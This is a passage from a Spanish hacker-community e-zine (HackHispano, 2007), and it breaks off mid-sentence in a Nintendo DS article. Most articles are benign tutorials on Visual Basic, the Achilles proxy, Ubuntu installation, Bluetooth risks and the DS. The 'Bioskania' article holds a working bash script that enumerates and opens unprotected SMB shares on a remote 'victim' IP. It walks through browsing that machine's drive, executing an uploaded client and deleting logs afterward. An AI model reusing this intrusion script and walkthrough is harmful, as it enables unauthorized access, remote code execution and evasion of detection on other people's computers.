Sei sulla pagina 1di 44

Pag 1 de 44 HH eZine

Tres meses despus del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano,
nos enorgullece en gran medida la publicacin de esta segunda revista.
Han sido varios meses de trabajo intenso, y debemos primeramente agradecer a los autores de estos
y otros artculos que han llegado hasta nosotros, por su gran afn de colaboracin y ayuda desinteresada,
dando sentido a la palabra comunidad hacker.
Nunca comunidad sigue en expansin y cada ves son mas los usuarios que llegan hasta la misma, y que
esperamos que sigan con nosotros por mucho tiempo.
Deseamos que esta segunda eZine tenga tanta aceptacin y genere tanta expectacin como lo hizo
su predecesora, leda por miles de personas, y publicada en cientos de portales.
Y si os interesaron los artculos de la primera, no os perdis esta, cargada de muchos temas y novedades.

> P ro g ra m a ci n P g. 2

C o m e n z a n d o e n V isu al B a sic
H a c kH isp a no e s u na c o m unid a d lib re d o nd e tod o el
> P a so a P a so P g. 7 m u nd o e s bie nve nid o , d o nd e na die e s e xtra nje ro, d o nd e tod o s
b usc a m o s algo y d o nd e to d o s lo o fre ce m o s.
Manual de Achilles

> L inu x P g. 9 N ue stra c o m u nid a d no e s m s q ue u n p u nto de e nc ue n-


Instalacin y configuracin de Ubuntu tro p ara tod o s lo s q ue e stis p erd id o s e n e ste c a da ve z m s
c o nfuso m u nd o de la so b re info rm a ci n, d o nd e e nc o ntra reis
> B lue T oo th P g. 1 4 ge nte c o m o vo so tro s q ue inte nta r a yud aro s y d o nd e se g uro
Peligros del Bluetooth
e nc o ntra reis alg uie n q ue pre cisa de vue stra a yud a .

> Intru si n P g. 1 6 S e d bie nve nid o s a H a c kH isp a no .


Bioskania, desde SAMBA con amor.

> Jue go s P g. 2 0
Transforma tu DS en herramienta de trabajo.
www.HackHispano.com
> C ib era ctivism o P g. 2 3
Evolucin de la criptografa. Panorama actual

> H a c kin g P g. 2 9
XSS , el enemigo silencioso
>Windows
Introduccin a la API de Windows (II) P g. 3 4

Pag 2 de 44 HH eZine
Bienvenidos al maravilloso
En cada artculo que leis tendris una breve
mundo de la programacin descripcin terica necesaria para entender
que es lo que estamos haciendo.
1. Introduccin: Conozcmonos
2. La herramienta: Visual Basic
Antes de empezar, me vais a permitir que me
presente. Soy Pedro del Valle, y trabajo como Seguro que mas de uno se estar preguntando
programador profesional. La intencin de este ahora mismo el porque de utilizar
curso es iniciar a aquellas personas que Visual Basic, si en todos los rincones de
sienten la curiosidad de saber como funciona Internet dicen que C/C++ es muchsimo
cualquier programa, aplicacin o software, ya mejor. C/C++ es un lenguaje de programacin
que todo lo citado es creado por estupendo, muy bueno, te permite rascar el
programadores y existen gracias a la PC a su nivel ms bajo, trabajando con
programacin. Durante los diferentes cursos interrupciones si hace falta.
que se impartirn en la revista vamos a Pero a su vez es engorroso, muy lineal,
intentar dejar un poco a parte la teora y anticuado y cada vez con menos salida
ceirnos a la prctica. Seguramente te estars profesional, y es esta ltima razn la que me
preguntando, por qu?, ha hecho decantar por VB 6.0, ya que para
Pues porque la teora, todo y que es la base de aquellos que os queris dedicar
una buena programacin, no est incluida en profesionalmente a esto, tarde o temprano os
la finalidad real de un curso como el que este daris cuenta de que los entornos de
pretende ser. Microsoft, Sun y en general los visuales o la
El curso intentar que tu, desde tu PC, puedas programacin web son los que actualmente
desarrollar las mismas aplicaciones que desde tienen mas salida en el mercado.
aqu vamos a crear, y que cuando obtengas el Despus de esta charla, dejad que os diga una
fruto de tu trabajo, hallas adquirido la cosa: no dejis de estudiar
habilidad de modificarlas o crear otras que se C/C++, ya que yo lo considero muy
adapten importante como lenguaje base.
a tus necesidades sin la ayuda de nadie Otra razn por la que utilizamos VB es la
(exceptuando las MSDN, claro). amigabilidad del entorno de desarrollo. Si
Por ltimo comentar que este curso de hicisemos una pequea agenda en C, pocos
programacin estar orientado a entornos la acabaran correctamente, mientras que en
visuales no relacionados con web, aunque si VB, ya sea por el abanico de opciones en sus
se vern conexiones por puertos, pero cada mens o por la claridad de los mas que
cosa a su tiempo, y como algunos ya sabrn, posibles errores producidos durante en tiempo
lo primero es el hello de ejecucin, seguro que todos la lograramos
world. terminar.

Pag 3 de 44 HH eZine
es que actualices los gestores de BBDD para
3. Lo necesario: Empieza la prctica futuras aplicaciones, para ello debes ir
a la pgina de Microsoft y bajar los instalables
Como ya he comentado no voy a Microsoft Jet SP3 y MDAC 2.6 o
entretenerme en la teora de la 2.7
programacin, solo quiero que sepis que Para encontrar estos productos debemos ir a
VB (desde ahora Visual Basic ser VB) es http://www.microsoft.es, hacemos
un lenguaje de programacin orientado a click en rea de descarga (vase Fig. 1)
objetos (segn unos) o/y a eventos (segn
otros). Bajo mi punto de vista, VB est
orientado tanto a eventos como a objetos,
pero realmente no nos importa, aqu cada
uno dar la versatilidad necesaria al
compilador.
Lo primero que necesitis es el VB 6.0, que
podris encontrar en el paquete
Visual Studio 6.0
Es mi deber indicar que VB no es freeware,
sino que es un producto de
Microsoft el cual tiene una licencia que
tienes que pagar antes de poder utilizarlo, ya
sea en enseanza o desarrollo.
La instalacin es bastante sencilla, si solo Nos aparecern dos combos de seleccin.
tenis el CD de VB, estamos ante un clsico Desplegamos el primero y escogemos
de las instalaciones: Siguiente, siguiente, Data Access Components (vase Fig. 2),
acepto el contrato, siguiente....
Si por el contrario tenemos los CD del
Visual Studio, podemos hacer dos cosas,
elegir instalacin personalizada y
seleccionar solo el check de VB, o instalar
todas las herramientas que estn en el CD
(recomendado).
Ya est instalado?, bien, pues ahora
podramos instalar el SP (Service Pack) del
VB, que encontrars en la pgina de
http://www.microsoft.com. Si no lo instalas,
podrs trabajar igualmente, pero es
recomendable. Lo que si es imprescindible
Hacemos click en el botn go,nos aparecer

Pag 4 de 44 HH eZine
una pgina con varios componentes para nos permitir continuar hasta que elijamos una
instalar, nosotros necesitamos exactamente opcin. (vase FIG4)
el Jet 4.0 Service Pack 3 Update y el
MDAC 2.6 Service Pack 2 - Spanish. (El
curso es algo antiguo, actualmente podemos
instalar el MDAC 2.8)

Bien, para nuestra prueba de hoy, no explicar


las diferentes opciones de esta ventana, ya que
Una vez bajados, los instalamos, ya estamos eso ser en futuras entregas. Solo deciros que
listos para empezar. aqu elegiremos el tipo de proyecto que vamos a
Bien, hoy vamos a hacer el famoso hello crear, es decir, un ejecutable, una DLL, un
world. Y en que cosiste?, el hello OCX...
world Es un mito entre los programadores, Nosotros, para nuestra primera aplicacin vamos
se trata de que, cuando se empieza a a elegir EXE estndar, ya que nuestro
estudiar un nuevo lenguaje de programacin, programita ser un ejecutable.
y se empieza con la practica, crear Cuando le demos a aceptar, nos aparecer
un programa que con su ejecucin muestre nuestro entorno de trabajo, que en un principio
un mensaje por pantalla que muestre solo constar de un formulario, llamado por
el literal hello world o en su defecto, hola defecto Form1.
mundo. Tambin nos deberan aparecer varias paletas, a
Para llevar a cabo esto, tenemos que abrir el la izquierda tenemos los objetos por defecto que
visual basic, lo encontraremos en podemos aadir al formulario, a la derecha, el
Inicio -> Programas -> Microsoft Visual explorador de proyectos, el cuadro de
Studio -> Microsoft Visual Basic 6.0 en propiedades del objeto seleccionado y la posicin
el caso de los que instalasteis el Visual inicial del formulario en pantalla.
Studio, y para los que solo instalasteis el (vase FIG5)
Visual Basic lo encontrareis en Inicio ->
Programas -> Microsoft Visual Basic
6.0
Al iniciar la aplicacin nos aparecer una
ventana madre con otra hija que no

Pag 5 de 44 HH eZine
Qu es lo que ha pasado?, pues que hemos
accedido al evento principal del objeto
formulario.
Un evento es una accin, por ejemplo, hacer
click en un botn es conocido como
el evento button_click. En este caso, el evento
principal de un formulario es el form_load. Y
que es el form_load ?, muy fcil, es el evento que
se activa cuando ejecutamos el programa por
primera vez, es decir, que cuando se inicie la
aplicacin que estamos creando se va a accionar
el form_load. Que conlleva esto?, pues que todo
Bien, en esta sesin no explicaremos nada
el cdigo que escribamos entre las dos lneas
sobre los diferentes objetos o sobre el cuadro
que nos han aparecido anteriormente se va a
de propiedades, ni tan solo explicaremos los
ejecutar al iniciar el programa (al
mens del Visual Basic, sino que iremos
ejecutarse el form_load), y as con todos los
directos al grano y crearemos un programa
eventos.
que al ejecutarse imprima el mensaje hello
Una vez entendida esta teora, vamos a ponerlo
world por pantalla (recordad que siempre
en prctica. Para mostrar un mensaje por pantalla
debis curiosear vosotros mismos).
(la clsica ventana con el botn aceptar)
En futuros artculos explicaremos todo lo
utilizaremos un objeto que viene por defecto en
que hoy nos dejamos pendientes, no os
Windows llamado MsgBox.
preocupis por eso.
Escribiremos entre las dos lneas, es decir, dentro
Vale, supongo que estis listos, haced doble
del evento load (fijaos que pone Form_Load() )
click sobre el formulario. Inmediatamente os
la siguiente lnea:
tendra que aparecer un editor de texto con
MsgBox Hello world
dos lneas de cdigo escritas, y el cursor
Muy probablemente, al escribir MsgBox y pulsar
entre ellas. (vase FIG6)
la barra espaciadora os ha aparecido una lnea
amarilla con informacin. Esta informacin es
una ayuda para el programador, y nos est
indicando que parmetros podemos pasarle al
MsgBox (vase FIG7)

Pag 6 de 44 HH eZine
hacer click sobre la flecha azul que hay en el
men superior, la segunda es ir al men
Ejecutar e Iniciar, y la ltima (la mas
utilizada) es presionar directamente la tecla
F5 o ctr + F5 para ser mas cautelosos (si
solo pulsamos F5 no se van a tener en cuanta
todos los errores).
Si al hacer esto, os aparece una ventana con
un botn aceptar y el mensaje Hello
world (vase FIG8), Lo habis hecho bien, si
os da cualquier error, fijaos en la fig9, ya que
ese es el cdigo de vuestro programa

Los parmetros son diferentes opciones que


podemos pasar a los objetos del VB.
En este caso solo vamos a pasarle el primero,
que ser un literal, el cual aparecer en
pantalla en forma de mensaje.
Una vez escrito, solo nos falta probarlo, y
para ello tenemos tres opciones, la primera es
Despus de pulsar aceptar, veris que os
aparece un formulario en blanco, no os
preocupis, es el form inicial de nuestro
proyecto, el cual no tienen ningn objeto
porque no se lo hemos puesto.
Aqu os dejo, y aunque tenis poco para
practicar, os recomiendo que probis cosas,
como intentar enviarle ms parmetros al
MsgBox.
Un saludo, y suerte.

Pag 7 de 44 HH eZine
el que est por defecto en Achilles, aunque se
MANUAL DE ACHILLES puede cambiar.

1. Qu es Achilles ? En la parte que dice: "No Proxy For" Tenemos


que sacar "127.0.0.1" y "localhost"
Achilles es un servidor proxy que fue Sino no servir de nada.
concebido para probar la seguridad de
aplicaciones web. Para IE:
Ahora, achilles nos permite realizar ataques Herramientas>Opciones de Internet>Conexiones
del tipo "man in the middle" para el En la pestaa Conexiones presionamos el botn
protocolo HTTP. Configurar.
Clickeamos en la caja que dice: "Usar un
2. Qu es un ataque "Man in the servidor proxy para esta conexin(esta
Middle" (MitM) ? configuracin no se aplicar a otras conexiones)"
Y escribimos en Direccin: 127.0.0.1 en el
Como lo dice su nombre, "hombre en el puerto 5000.
medio" es un ataque en el cual algo o
alguien adquieren la capacidad de Una vez configurado el navegador, iniciamos
interceptar mensajes entre dos puntos, leerla Achilles. En esta ventana encontramos una serie
y modificarla al antojo del mismo, sin que de botones.
los dos puntos se enteren.

3. Cmo usamos Achilles ?

Tenemos que configurar nuestro navegador


para poner el proxy. Se puede usar cualquier 1. Hacemos que Achilles empiece a funcionar.
navegador, pero pondr los ejemplos para 2. Paramos Achilles, no se podr navegar por
Firefox e IE. Internet, al menos que saquemos el proxy.
3. Borra el texto interceptado.
En el caso de del Firefox Hacemos esto: 4. Abre una ventana donde solo se mostrar la
vamos a: informacin que el cliente (Nosotros) enviamos
Herramientas>Opciones>General>Configur al servidor.
ar la conexin. 4. Abre una ventana donde solo se mostrar la
En esa ventana elegimos la opcin informacin recibida del servidor.
"Configuracin manual"
En HTTP proxy ponemos la siguiente
direccin: 127.0.0.1 localhost (localhost es
un nombre reservado que tiene todo
ordenador, router o dispositivo que disponga
de una tarjeta de red ethernet para referirse a
s mismo) y elegimos el puerto 5000 que es
1. Habilitamos la interceptacin de mensajes.
Pag 8 de 44 HH eZine
2. Interceptamos los datos del cliente
(Nosotros) es decir, lo que nosotros http://www.softpedia.com/progDownload/Achill
enviamos al servidor. es-Download-34877.html
3. Interceptamos los datos del servidor, lo
que nosotros recibimos. MAC OS X:
4. Sirve para guardar los logs que
obtenemos. http://machilles.softonic.com/mac
5. No muestra en los logs las imgenes.
Para Linux:
Por ltimo el Botn, "Send" sirve para
enviar lo que hemos interceptado. Para que http://sourceforge.net/project/showfiles.php?grou
se mantenga la comunicacin. p_id=64424&package_id=61823

Este programa tiene unas cuantas ms opciones,


adems.
4. De dnde descargamos Achilles ?
Autor: Cypress
Este programa solo se encuentra disponible
para Windows, pero hay alternativas.

Windows:

Pag 9 de 44 HH eZine
INSTALACION Y CONFIGURACION
DE UBUNTU Si tenis dudas, los que tenis un ordenador
personal comn debs descargar la imagen
Nunca te has decidido a instalar un linux? correspondiente a la arquitectura "Intel x86".
Te has decidido pero no sabes por dnde
empezar? Te han dicho algo como "puedes Quote:
empezar con ubuntu? PC (Intel x86) desktop CD
For almost all PCs. This includes most
Si la respuesta a alguna de estas preguntas es machines with Intel/AMD/etc type
afirmativa quiz saques provecho de este processors and almost all computers that run
artculo sobre cmo obtener e instalar la Microsoft Windows. Choose this if you are
distribucin de GNU/linux ubuntu Feisty at all unsure.
Fawn.

Hay varias formas de obtenerla, aqu Quemar la imagen en un cd


propongo las siguientes:
Lo siguiente que tenis que hacer es convertir esa
imagen en un cdrom autoarrancable. Es tan
Descargar la imagen iso sencillo como abrir tu utilidad favorita para
http://releases.ubuntu.com/7.04/ubun...sktop quemar cds y escoger la opcin que suele
-i386.iso aparecer como "Grabar imagen en disco". Si usas
Pesa 698.8 Mb. Con buena conexin en una Nero StartSmart debers activar las opciones
hora la tenemos en nuestro haber. avanzadas para que te aparezca la opcin. Si ya
tienes la suerte de disponer de un GNU/linux y
ste tiene k3b instalado tienes esta opcin en la
pestaa "Tools" del men principal.

Pedir cd va web
https://shipit.ubuntu.com/

Otras posibilidades
Otras posibilidades para la adquisicin de la
distribucin lo podis ver en
http://www.ubuntu.com/getubuntu
Pag 10 de 44 HH eZine
Arrancar la livecd

Para arrancar la livecd tendremos que


asegurarnos de que nuestra mquina tiene
nuestro cdrom como primer dispositivo
donde buscar un sistema arrancable.

Cada BIOS es diferente, pero a la mayora se


accede pulsando la tecla "Supr" despus de
presentarnos la pantalla de la tarjeta grfica.
Una vez all habr algo como "boot device
sequence" o algo por el estilo. Tras guardar
los cambios reiniciaremos la mquina con el
cdrom dentro.

Nuestra mquina iniciar de un modo


distinto a como suele hacerlo Nos
presentar una lista de opciones a elegir. Esto es la livecd, un sistema completo y
Para continuar con nuestra decidida funcional que se est ejecutando desde la
instalacin deberemos elegir "Start or install memoria RAM de nuestro PC, sin alterar los
ubuntu" Entonces aparecer un bonito logo datos de nuestros discos, ni el arranque de
ubuntero y una especie de barra de progreso nuestros sistemas. Con reiniciar la mquina
. tendremos todo como estaba, intacto. Pero eso no
es lo que haremos. Como digo, decididamente,
continuaremos con nuestra aventura de instalar
una distribucin de GNU/linux en nuestra
mquina. Hacemos doble click sobre ese icono
"install".

Navegaremos por un sencillo sistema de


instalacin grfico hasta dar por terminada
nuestra instalacin.

Lo primero que elegimos es nuestra localizacin,


Seguidamente comenzar a iniciar Gnome, que indicar al sistema cosas como nuestro uso
que es el gestor de escritorio por defecto horario. Para nuestra instalacin de ejemplo elijo
para esta distribucin, para dejarnos en un Madrid, aunque vena como default porque el
escritorio limpio y ordenado en el que sitio del que descargamos la release es muy
encontraremos un icono llamado "install". inteligente y lo detect automgicamente.

Pag 11 de 44 HH eZine
Hay muchas formas distintas de particionar un
disco. A menudo, mientras ms meticuloso o
paranoico es un administrador ms particiones
tiene. En servidores en produccin es casi
indispensable montar las carpetas /var y /usr en
particiones distintas, para que no se mezclen
permisos y/o configuraciones. Pero como
presuponemos que es una instalacin cuya
finalidad es principalmente la de habituarnos al
uso de un GNU/linux obviaremos estos
menesteres y nos conformaremos con lo mnimo
indispensable para un funcionamiento aceptable.
Esto es, deberemos crear una particin nueva
para la raz del sistema y otra para memoria de
Spain/Spain... intercambio o swap.

Seleccionaremos por tanto el particionado


guiado. El caso que nos sirve de ejemplo el
sistema de instalacin reconoce el disco duro y lo
nombra "sda", con lo que aparece una opcin que
reza "resize scsi3(0,0,0), particin #1 (sda) and
use free space". Qu significa todo esto? Pues ni
ms ni menos que tomar la primera particin
detectada en el disco, en la que se encuentra una
instalacin de otro sistema operativo funcional,
la redimensionar y usar el espacio que libere
para crear las particiones necesarias para la
nueva ubuntu.

Una vez hecho esto pasamos a lo que todos Quien tenga claro cmo quiere reestructurar su
los novatos consideran el peor trago por el disco duro puede obviar esta opcin y pasar
que han de pasar en la instalacin de directamente a la edicin manual de la tabla de
cualquier sistema operativo alternativo: particiones, con lo que podr elegir el espacio
exacto que restar a la particin original y por
El particionado. tanto el que le piensa dedicar al nuevo sistema.

Pag 12 de 44 HH eZine
Mi costumbre es la de separar todos los para continuar, mostrando la correspondiente
datos independientes del sistema operativo advertencia. Evidentemente
en una particin distinta. Aunque mis
actuales andaduras vayan por otros tendremos que aceptar para poder proseguir con
derroteros he slido usar FAT32 como el particionado y, por tanto, con la instalacin.
sistema de ficheros para esta particin de Ojo! Siempre que se manipula la tabla de
datos por una sencilla razn, es accesible particiones es ALTAMENTE
tanto por sistemas propietarios como por RECOMENDABLE haber hecho una copia de
sistemas libres. respaldo del disco, porque es una tarea
potencialmente peligrosa para la integridad de
A continuacin explico esta segunda opcin, dichos datos.
la de editar manualmente la tabla de
particiones. Ya hemos dicho que la primera Aceptamos el riesgo y nos muestra el nuevo
particin est definida y es funcional. Con aspecto de nuestro disco tras los cambios
anterioridad a las modificaciones que efectuados:
efectuaremos sta ocupa la totalidad del
espacio del disco. Como estamos en el ao /dev/sda
2007 supondremos que tena el monopolio /dev/sda1 NTFS /media/sda 60003 Mb
sobre un maravilloso disco de 250Gb, con lo free space 190991 Mb
que podemos hacer la reparticin de la
siguiente manera: Con eso tenemos unos gigas de los que disponer.
Pulsamos en "free space", luego en "New
1 Particin primaria para otro sistema Partition", para proceder a definir la particin
operativo (por ejemplo NTFS) de 60Gb que destinaremos a la raz del sistema:
2 Particin primaria para la raz de nuestro
ubuntu (para ella elijo EXT3) de otros 60Gb Type for the new partition: Elegimos "primary"
3 Particin primaria para la memoria de New size in megabytes: 60000
intercambio de ubuntu (SWAP) de 2Gb Location for the new partition: beginning
4 Particin lgica para el almacenamiento de Use as: ext3
datos (FAT32) de 128Gb Mount point: (este campo lo dejamos en blanco)

Comenzamos seleccionando el disco. En Luego haremos igual para la swap:


este caso /dev/sda1 (primera particin del
disco sda) New size: 2000
Pulsamos sobre el botn "edit partition" Use as: swap
"new size" (nuevo tamao) pasar de
250000 (250Gb) a 60000 Y para la particin de datos:

Despus de esto nos pedir confirmacin Type for the new partition: "logical"
New size: "128988"
Use as: fat32
Pag 13 de 44 HH eZine
La particin en ext3 se montar en "/" y la
fat32 en "/dos" por ejemplo. Pulsando
"adelante" proseguimos hasta la creacin de
un usuario regular, para lo que deberemos
proporcionar el nombre y el password. Una
vez elegidos ambos pulsamos en "install". Se
copiarn los archivos necesarios, detectar el
resto de sistemas de nuestro equipo y
elaborar el men del gestor de arranque. Nos
avisar cuando termine y ya podremos
disfrutar de las ventajas de un PC con
arranque dual. Espero les sirva y buen
provecho!

Autor: j8k6f4v9j

Pag 14 de 44 HH eZine
SEGURIDAD EN BLUETOOTH
Los mensajes solo se limitan a 248 caracteres y
Hoy en da, muchos mviles utilizan hay jug con ese espacio.
bluethoot y cada vez mas mviles lo
incluyen. Como evitarlo?
Se esta imponiendo como estndar debido a
su bajo costo, buena velocidad de Hacerlo es muy fcil, evitarlo tambin, solo hay
transmisin de datos, buen alcance y por que mantener el bluethoot en estado apagado-
ultimo nadie nos cobra por pasarse archivos invisible, adems esto sirve para que la batera
por bluethoot. dure mas ya que el bluethoot consume mucha
energa.
Hoy por hoy, muchos telfonos tienen
bluethoot, y probablemente algunos cuantos Bluesnarfing
dueos no tengan idea de esto y otros tanto
dejen la configuracin de defecto, esto El Bluesnarf es algo ms complicado de hacer;
implica dos grandes peligros mucho ms daino y, aunque ya fue reconocido
Bluejacking y Bluesnarfing. por Nokia y Sony Ericsson como un problema de
seguridad, est en proceso de "arreglo" con el
Bluejacking nuevo soft de Bluetooth en el firmware del los
celulares.
Es una simple forma de mandar mensajes
con textos personalizados El problema en este caso es que cuando un
a cualquier dispositivo Bluetooth sin pedir telfono est en modo "Visible" (o sea que otros
permiso, que podra derivar en spam por dispositivos bluetooth lo pueden detectar),
bluethoot. en algunos es posible conectarse al dispositivo
sin que el usuario se entere, y tener acceso a
Como hacerlo? datos del mismo (ej.: Agenda, Calendario,etc.)

1- En tu telfono con Bluetooth, cres un La mayora de los usuarios no conocen estos


contacto en la agenda con Name="Hola xxx" problemas y por ejemplo, gracias a un "Snarf
(o lo que sea hasta un mx de 248 attack" otro usuario puede estar usando su acceso
caracteres) a internet; tus minutos de aire o robando sus
2- Pons a tu telfono a buscar otros datos.
telfonos con Bluetooth cercanos ("scan for
devices") Gracias a dios, el bluesnarfing no esta difundido
3- Cuando los encuentre le envias ese y solo es conocido por las operadoras y unas
contacto que creaste; y la "victima" que, en pocas personas.
general, no tienen idea de esto se va a
sorprender.

Pag 15 de 44 HH eZine
Conclusin final

Como evitarlo? Como vern no es difcil evitar un ataque, basta


con tener en bluethoot en estado apagado-
Muchos piensan que poniendo en modo desactivado y activarlo estrictamente cuando sea
invisible se arregla el problema pero hay necesario.
herramientas que permiten ver los
dispositivos aun en estado invisible y entrar
a ellos.
La solucin definitiva es apagar el bluethoot Autor: 4v7n42

Pag 16 de 44 HH eZine
#
BIOSKANIA, DESDE SAMBA CON if test -z $1
AMOR then
echo "Esto funciona as: bioskania <ip>"
Bueno esta vez os mando algo mas cortito, else
pero eficaz, para linux. Se trata de un script ip=$1
de bash, que nos ayuda a conectar a nmblookup="/usr/bin/nmblookup"
mquinas remotas por netbios, siempre y smbclient="/usr/bin/smbclient"
cuando no haya password de por medio. Se name=$($nmblookup -d1 -A $ip | grep '<00>' |
trata de usar los paquetes de samba-common head -1 | awk '{print $1}')
y smbclient, todo junto en un mismo if [ "$name" != "" ]
script. Este se edita en vim o en el editor que then
se use... y se guarda en la ruta de ejecutables echo "El nombre netbios para $ip es $name"
path. En este caso su nombre es bioskania, echo "Los recursos compartidos por $ip son:"
podeis ponerle el que considereis oportuno. i=0
for rec in $($smbclient -N -L $name -I $ip | grep
Veamos el script: Disk | awk '{print $1}')
------------------------------------------------------ do
#!/bin/sh recursos[$i]="$rec"
# Un scanner de kania echo "$i) ${recursos[$i]}"
# Obtiene el nombre netbios y los recursos let "i = $i +1"
compartidos de una ip, done
# y si estos existen, monta el recurso if [ "${recursos[0]}" != "" ]
elegido. then
# eleccion=999
# Requiere tener instalados los paquetes let "k=${#recursos[@]} -1"
samba-common y smbclient. while [ "$eleccion" -gt $k ]
# do
# Se puede usar,modificar y distribuir echo "Que recurso deseas montar?"
libremente. read eleccion
# (c) kania 2007 echo "has elegido montar
# //$name/${recursos[$eleccion]}"
#################################### $smbclient //$name/${recursos[$eleccion]} -d0 -
#################################### N -I $ip
# echo ""
# TODO: De momento slo funciona si la echo ""
vctima es tan madre que no ha echo "Has sido una nena mala.
# puesto contraseas a los recursos Muuuuuuuuuuuuuuuuacks"
compartidos. done
# else
#################################### echo "No hay recursos compartidos"
#################################### fi
Pag 17 de 44 HH eZine
else
echo "No est disponible el nombre netbios Podemos, listar, cambiar, renombrar, borrar,
para $ip, puerto cerrado?" ejecutar, etc, etc...
fi
fi Ejecutamos el script (ojo que pongo mi ip para
------------------------------------------------------ evitar malentendidos :P,
----------------- por supuesto, las pruebas no se han hecho sobre
mi ip, por si a algn
Cmo funciona? listo se le ocurre, avisar que tengo el filtro muy
fino)
Bien, veamos sus commandos
[kaniaserver~]# bioskania 80.32.232.60

-- Si la ip puesta no tiene acceso al netbios nos


dir:

No est disponible el nombre netbios para


80.32.232.60 , puerto cerrado?

-- Si la ip puesta si tiene acceso al netbios nos


dir:
Los recursos compartidos por 80.32.232.60 son:

0) printer
1) C
2) D

Qu recurso deseas montar?

-- A lo que nosotros contestaremos, la opcin


mas interesante... en este
caso elegimos C dndole a la tecla 1, y entramos
en modo consola:

smb: \>

-- Una vez aqu podemos listar, editar, borrar,


renombrar, etc, etc.
Ejemplos:

smb: \> ls
Pag 18 de 44 HH eZine
FOUND.000 DHS 0 Wed copiaeurowin D 0 Thu
Jun 25 09:27:06 2003 May 22 09:34:18 2003

WINDOWS D 0 Wed Mis documentos DR 0 Thu


May 21 23:56:44 2003 May 22 09:41:12 2003

PAGEFILE.SYS AHS WEBempresa D 0 Thu


402653184 Wed Aug 13 10:16:20 2003 May 22 09:36:16 2003

Bootfont.bin AHSR 4952 Tue ewsolution D 0 Thu May


Sep 10 12:00:00 2002 22 10:45:10 2003

ntldr AHSR 234752 Tue getmac.exe A 11264 Thu


Sep 10 12:00:00 2002 May 22 11:33:46 2003

NTDETECT.COM AHSR
47580 Tue Sep 10 12:00:00 2002 --- Elegimos donde queremos ir, en este caso
hemos subido un cliente a:
boot.ini HS 194 Wed May \c\WINDOWS\system32\Systemhk,
21 18:10:30 2003 cambiamos directorio, ya sabeis:

Documents and Settings D 0 Thu smb: \>cd WINDOWS\system32\Systemhk


May 22 00:05:56 2003
--- Supongamos que el cliente que tiene se
CONFIG.SYS A 0 Wed llame client3 y que queramos
May 21 18:15:50 2003 ejecutarlo, primero nos aseguramos de que
esta listndolo:
IO.SYS AHSR 0 Wed
May 21 18:15:50 2003 smb: \> ls client3

MSDOS.SYS AHSR 0 ---- Ahora lo ejecutamos:


Wed May 21 18:15:50 2003
smb: \> open client3
System Volume Information DHS 0
Wed May 21 18:20:28 2003 Bueno una vez hecho esto, y si no quereis
pasearos por el disco y
Recycled DHS 0 Wed curiosear ms, antes de salir, no olvidaros de
May 21 18:59:44 2003 borrar los logs :)

aniwin D 0 Thu May Al salirnos nos mandar un mensaje que esta


22 09:26:10 2003 en el script que podis
Pag 19 de 44 HH eZine
cambiar a gusto y paladar, en mi caso puse: haced buen uso de l (juas).

Has sido una nena mala. by kania | www.evilgirls.net |


Muuuuuuuuuuuuuuuuacks
Para HH
Espero que os sirva de utilidad y por favor Mayo 2007

Pag 20 de 44 HH eZine
Nintendo DS. Como transformar tu incorporada, conectarse a la Red (la
consola en una herramienta de conflagracin es igual que cualquier juego Wi-Fi
DS) y comenzar a navegar con
trabajo las dos pantallas. En la tctil
dispondremos de toda la web y
podremos usar nuestro lpiz tctil como el ratn
Cada vez ms, la Nintendo DS se est
comn del ordenador. Cuando queramos escribir
convirtiendo en una herramienta de trabajo.
algo en algn cuadro de texto, la pantallita se
Para mi, lo ms cmodo que ofrece en el
convertir en un teclado. La pantalla superior nos
campo de trabajo, es lo siguiente: Navegar
ofrecer una vista ampliada de la web. Ahora
por internet (lo que nos abre muchas
bien, qu podemos hacer con un navegador?
posibilidades al poder acceder a todas las
Pensaris que estamos limitados a conectarnos al
funciones de la red) y la posibilidad de
correo, entrar en los foros, viciarnos en
instalar un sistema operativo. Para
minijuegos etc. Adems de todo esto, podemos
comprobarlo podis echar una ojeada a este
usar algunas funciones que tenemos en nuestra
vdeo donde aparece un abanico de las
PC habitual. Buscando en google podremos
utilidades que le han sacado los japoneses:
encontrar un montn, pero yo os recomiendo esta
http://www.youtube.com/watch?v=ShfNp08
fantstica herramienta de office:
2278.
Google Docs: Es una herramienta de office de
google. Entramos en http://docs.google.com y
En este artculo vis a aprender lo
entramos con nuestro login habitual. Si no
siguiente:
disponemos de una cuenta, creamos una
- Utilizacin y utilidades de Opera DS.
(ATENCIN: podemos crear una cuenta de
- Descarga e introduccin a Mini vMac
google o una de gmail. Si hacemos la de gmail,
DS (MacOS para DS).
tambin dispondremos de una de google con el
mismo pass, pero viceversa no funciona. Para
Opera Ds crear una cuenta de gmail, entramos en
http://www.gmail.com y para la de google en la
Estamos ante uno de los mejores y misma pagina que docs). Una vez dentro,
completsimos navegador de internet, esta podremos crear un nuevo documento de texto o
vez para la Nintendo DS. Gracias a este una hoja de clculo.
software, podemos navegar por Internet
desde nuestra porttil. El navegador se Primero, vamos a experimentar con los
vende como un cartucho de la consola. documentos de texto. A la derecha,
Simplemente tendris que insertarlo en la tenemos el botn desplegable "Archivo",
misma, que tiene tecnologa Wi-Fi

Pag 21 de 44 HH eZine
aqu tenemos varias posibilidades como segn la extensin.
guardarlo en algn formato, contar nmero
de palabras etc. Al lado, est el botn Y como ejemplo de todo ello, quiero aadir que
"Editar", es el que se abre por defecto y el este artculo est escrito en google docs. Y no
que usamos principalmente para la edicin olvidis que tenis un montn de funciones de
de texto. Despus, nos encontramos con google en
"Insertar". En ste, como bien dice su http://www.hackhispano.com/foro/showthread.ph
nombre, podremos aadir imgenes, p?t=21750.
comentarios, URLs etc. Y para terminar
"Revisiones", que tambin est bastante
claro. Mini vMac DS
Luego tenemos unos botones simples:
Editar HTML, Guardar, Guardar y cerrar, Veamos, navegar por internet est muy bien,
Descartar cambios, Vista previa, Imprimir y pero nos faltan algunas posibilidades que esa
Correo electrnico (todos stos se entienden gigantesca red no nos permite, al menos por
bien). Luego encontramos Colaborar, que ahora. Para eso estn los sistemas operativos.
permite escribir o leer el texto a otros Esta vez veremos al exitoso MacOS en accin, y
usuarios de google. Publicar, con esta puede que en el futuro aprendamos a instalar
opcin podremos ofrecer nuestro texto a linux.
todos los lectores con una URL que nos
asignarn. Y por ltimo, abajo del todo, Para empezar, necesitaremos algn cartucho de
podemos revisar la ortografa con el botn memoria para insertar el archivo del SO, yo os
resaltado en amarillo. recomiendo el EzFlash (videotutorial:
http://www.teknoconsolas.info/download.php?id
Las hojas de calculo son similares, =151). Su funcionamiento es sencillo, solamente
